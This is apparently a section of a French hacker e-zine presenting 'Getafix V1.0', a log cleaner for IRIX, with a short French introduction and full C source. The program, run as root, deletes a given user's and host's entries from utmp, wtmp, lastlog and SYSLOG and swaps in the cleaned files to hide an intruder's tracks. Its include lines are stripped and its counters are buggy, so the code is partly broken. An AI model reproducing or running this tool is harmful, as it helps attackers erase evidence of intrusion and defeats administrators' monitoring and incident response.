------------------------------------------------------------------------------------- VII. Getafix V1.0 Neofox ------------------------------------------------------------------------------------- [ Introduction ] Voici un log cleaner pour IRIX ; j'avais dans l'idée de lui trouve un nom rimant en 'x' et << get a fix >> s'est imposé de lui même ; ce nom doit être évocateur pour qui a saisit le jeu de mots. Comme toute version 1.0, celle-ci est tout à fait perfectible et je l'améliorerai surement dans quelques temps. [ Quelques explications ] ¤ Sous irix, /var/adm/lastlog n'est pas un fichier mais un répertoire. Pour faire court, on dira que les derniers logins sont enregistrés dans un fichier distinct pour chaque utilisateur. Ainis, si vous vous utilisez le compte "toto", il vous faudra nettoyer /var/adm/lastlog/toto, - je ne sais pas pourquoi je fais une fixation sur toto - . Getafix détermine automatiquement la position du fichier lastlog pour le compte que vous utilisez, pas besoin donc de modfier le source. ¤ Le fichier /var/adm/SYSLOG est l'équivalent sous irix des fichiers /var/log/messages et /var/log/secure sous linux. ¤ J'ai rencontré un petit problème en écrivant ce prog : il semblerait que sous irix, dumoins sous les 6.5 sur lesquelles je l'ai testé, la structure "utmp" n'ait pas de champ "ut_hosts". Les entrées de utmp et de wtmp sont donc recherchée seulement par logins, ce qui a pour conséquences qu'une mauvaise entrée risque d'être effaçée en plus de la bonne ; pour l'instant, il faudra faire avec, et comme on dit, on ne fait pas d'omelettes sans casser des oeufs. Voici la bête ... /* GETAFIX V1.0 -by Neofox 03/02 * * Here is a log cleaner designed for IRIX. * It cleans utmp, wtmp, lastlog and SYSLOG * without zeroing entries out. * To compile : gcc getafix.c -o getafix * * Tested on IRIX 6.5 * */ #include /* fprintf */ #include /* system */ #include /* strncmp, lseek */ #include /* I don't remeber */ #include /* open, close */ #include /* stat */ #include /* stat */ #include /* getpwnam */ #include /* struct utmp, wtmp */ #include /* struct lastlog */ /* Original log files */ #define UTMP "/var/adm/utmp" #define WTMP "/var/adm/wtmp" #define LASTLOGDIR "/var/adm/lastlog/" #define SYSLOG "/var/adm/SYSLOG" /* Cleaned log files */ #define NEWUTMP "/tmp/.utmp" #define NEWWTMP "/tmp/.wtmp" #define NEWLASTLOG "/tmp/.lastlog" #define NEWSYSLOG "/tmp/.SYSLOG" /* here comes buffer for SYSLOG */ #define BIGSIZE 9999999 char buf[BIGSIZE]; char lastlog[50]; /* File descriptors */ int input, output; FILE *in, *out; /* Counters */ int i, count, size; /* Structures */ struct passwd *pwd; struct utmp u; struct utmp w; struct lastlog l; struct stat status; int main (int argc, char *argv[]){ if(argc!=3){ fprintf(stderr,"Usage : %s \n", argv[0]); exit(1); } if(geteuid()!=0){ fprintf(stderr,"%s is not suid root, aborting!\n", argv[0]); exit(-1); } fprintf(stderr, "[*]-Getafix v1.0 -by Neofox [IOC]\n"); if((pwd=getpwnam(argv[1]))==NULL){ fprintf(stderr,"[*]-%s : no such user!\n", argv[1]); exit(-1); } /**************************************************/ /* PROCESSING WTMP */ /**************************************************/ fprintf(stdout,"[1]-Checking %s : ",WTMP); size=sizeof(w); if((input=open(WTMP, O_RDONLY))<0){ fprintf(stdout,"access refused ?!\n"); close(input); } if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){ while((read(input, &w, size))>0){ if(strncmp(w.ut_name,argv[1],strlen(argv[1]))==0){ i++; count++; }else{ write(output,&w,size); } } } if(i>0){ fprintf(stdout,"%d track(s) removed\n",i); } else{ fprintf(stdout,"No such entry, aborting\n"); } close(input); close(output); /**************************************************/ /* PROCESSING UTMP */ /**************************************************/ fprintf(stdout,"[2]-Checking %s : ",UTMP); size=sizeof(u); if((input=open(UTMP, O_RDONLY))<0){ fprintf(stdout,"access refused ?!\n"); close(input); } if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))>0){ while((read(input, &u, size))>0){ if(strncmp(u.ut_name,argv[1],strlen(argv[1]))==0){ i=0; i++; count++; }else{ write(output,&u,size); } } } if(i>=1){ fprintf(stdout,"%d track(s) removed\n",i); } else{ fprintf(stdout,"No such entry, aborting\n"); } close(input); close(output); /**************************************************/ /* PROCESSING LASTLOG */ /**************************************************/ strcat(lastlog,LASTLOGDIR); strcat(lastlog,argv[1]); fprintf(stdout,"[3]-Checking %s : ",lastlog); size=sizeof(l); if((input=open(lastlog, O_RDONLY))<0){ fprintf(stdout,"access refused ?!\n"); close(input); } if((output=creat(NEWLASTLOG, O_CREAT | O_WRONLY))>0){ while((read(input, &l, size))>0){ if(strncmp(l.ll_host,argv[2],strlen(argv[2]))==0){ i=0; i++; count++; }else{ write(output,&l,size); } } } if(i>=1){ fprintf(stdout,"%d track(s) removed\n",i); } else{ fprintf(stdout,"No such entry, aborting\n"); } close(input); close(output); /**************************************************/ /* PROCESSING SYSLOG */ /**************************************************/ if(stat(SYSLOG,&status)==-1){ fprintf(stderr,"There's no %s here!\n",SYSLOG); goto error; } fprintf(stdout,"[4]-Checking %s : ",SYSLOG); if((in=fopen(SYSLOG,"r+"))<0){ fprintf(stdout,"access refused ?!\n"); fclose(in); } if((out=fopen(NEWSYSLOG,"w+"))>0){ while(fgets(buf,size,in)!=NULL){ if((strstr(buf,argv[1])==0)&&(strstr(buf,argv[2])==0)){ fputs(buf,out); }else{ i++, count++; } } } fclose(in); fclose(out); if(i>0){ fprintf(stdout,"%d track(s) removed\n",i); } else{ fprintf(stdout,"No such entry, aborting\n"); } /* this label is used if SYSLOG doesn't exists */ error : /* check if it's allright */ if(count==0){ fprintf(stderr,"[*]-No entries found :"); fprintf(stderr," you're maybe not safe !\n"); exit(1); } /**************************************************/ /* REPLACING LOG FILES */ /**************************************************/ /* Removing original log files */ unlink(WTMP); unlink(UTMP); unlink(lastlog); unlink(SYSLOG); /* New log files have been replaced */ link(NEWWTMP,WTMP); link(NEWUTMP,UTMP); link(NEWLASTLOG,lastlog); link(NEWSYSLOG,SYSLOG); /* Mode is going to be set to 644 */ chmod(WTMP,00644); chmod(UTMP,00644); chmod(lastlog,00644); chmod(SYSLOG,00644); /* Erasing our /tmp files */ unlink(NEWWTMP); unlink(NEWUTMP); unlink(NEWLASTLOG); unlink(NEWSYSLOG); /* well, congratulations !*/ if(count>=3){ fprintf(stderr,"[*]-Good job, tracks succesfully removed!\n"); }else{ fprintf(stderr,"[*]-Tracks partially removed!\n"); } return 0; }